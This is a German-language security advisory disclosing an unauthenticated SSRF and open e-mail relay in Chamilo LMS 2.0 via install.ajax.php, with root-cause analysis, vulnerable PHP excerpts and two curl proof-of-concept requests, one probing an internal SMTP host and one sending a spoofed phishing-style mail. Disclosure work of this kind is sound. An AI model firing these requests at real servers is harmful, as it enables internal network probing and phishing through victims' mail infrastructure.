
Nicht authentifiziertes SSRF + offener E-Mail-Relay in Chamilo LMS über install.ajax.php — CVSS 7.5
Schweregrad: Hoch (CVSS 7.5)
CWE: CWE-918 (SSRF) + CWE-306 (Fehlende Authentifizierung)
Betroffen: chamilo/chamilo-lms 2.0 (Commit 0195b29 und früher)
Advisory: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
install.ajax.php in Chamilo LMS 2.0 ist auf vollständig installierten Instanzen ohne Authentifizierung erreichbar. Seine Aktion test_mailer akzeptiert einen beliebigen Symfony-Mailer-DSN und ein Ziel aus POST-Daten, wodurch jeder nicht authentifizierte Angreifer den Server zwingen kann, SMTP-Verbindungen zu beliebigen internen Hosts aufzubauen (SSRF) und E-Mails über den Chamilo-Server als offenes Relay zu versenden.
Ich habe Chamilo LMS auditiert, nachdem mir aufgefallen war, dass es mehrere CVEs angesammelt hatte, aber seine AJAX-Endpunkte nicht tiefgehend auditiert worden waren. Mein Ansatz: Alle Dateien in public/main/inc/ajax/ auflisten und prüfen, ob jede mit require_once __DIR__.'/../global.inc.php' beginnt — die Einbindung, die die Authentifizierung in der gesamten Codebasis erzwingt.
install.ajax.php war die Ausnahme. Sie bindet nur den Composer-Autoloader ein. Der Dateiname deutete bereits darauf hin, dass es sich um übrig gebliebenen Installationscode handelte — und ein grep nach test_mailer darin bestätigte, dass sie einen rohen Symfony-Mailer-DSN-String aus POST-Daten akzeptiert und direkt an Transport::fromDsn() weitergibt.
Das ist eine vollständige SSRF-Primitive: Ein nicht authentifizierter Angreifer kontrolliert das Protokoll, den Host und den Port, mit denen der Server Verbindungen aufbaut. Die Tatsache, dass eine tatsächliche E-Mail über den konfigurierten Transport gesendet wird, macht daraus zusätzlich ein offenes Relay. Ich habe mit einem einfachen curl bestätigt, dass der Endpunkt auf einer vollständig installierten Instanz ohne jegliches Session-Cookie erreichbar war.
Die Ursache ist architektonisch: Die Datei umgeht die Symfony-Sicherheits-Firewall, weil Apaches RewriteCond %{REQUEST_FILENAME} !-f vorhandene PHP-Dateien direkt an PHP weitergibt, ohne jemals den Front-Controller zu erreichen.
Datei: public/main/inc/ajax/install.ajax.php
Die Datei wurde für den Installationsassistenten entwickelt, bleibt aber nach der Installation zugänglich. Anders als jeder andere AJAX-Endpunkt im selben Verzeichnis bindet sie nicht global.inc.php ein — das bedeutet null Authentifizierung, null Autorisierungsprüfung:
// Zeile 18 — lädt nur den Composer-Autoloader, keine Authentifizierung
require_once __DIR__.'/../../../../vendor/autoload.php';
Die Aktion test_mailer (Zeile ~138) akzeptiert angreiferkontrollierte POST-Parameter:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // beliebiger SMTP-DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // beliebige E-Mail
// ...
$transport = Transport::fromDsn($mailerDsn); // verbindet sich mit dem SMTP-Server des Angreifers
$mailer = new Mailer($transport);
$mailer->send($email); // sendet E-Mail darüber
Vergleich mit einem ordnungsgemäß geschützten Endpunkt:
// chat.ajax.php Zeile 9 — korrektes Muster
require_once __DIR__.'/../global.inc.php'; // erzwingt Authentifizierung
api_block_anonymous_users();
Die Datei wird direkt von Apache ausgeliefert (RewriteCond %{REQUEST_FILENAME} !-f leitet vorhandene PHP-Dateien durch und umgeht die Symfony-Sicherheits-Firewall). Das Fehlen der Einbindung von global.inc.php bedeutet: keine Session, keine Authentifizierung, keine Prüfung auf abgeschlossene Installation.
Siehe poc.py für eine vollständige Demonstration.
# SSRF — Chamilo zwingen, sich mit internem SMTP-Server zu verbinden
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Offenes Relay — Phishing-E-Mail über den Chamilo-Server senden
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"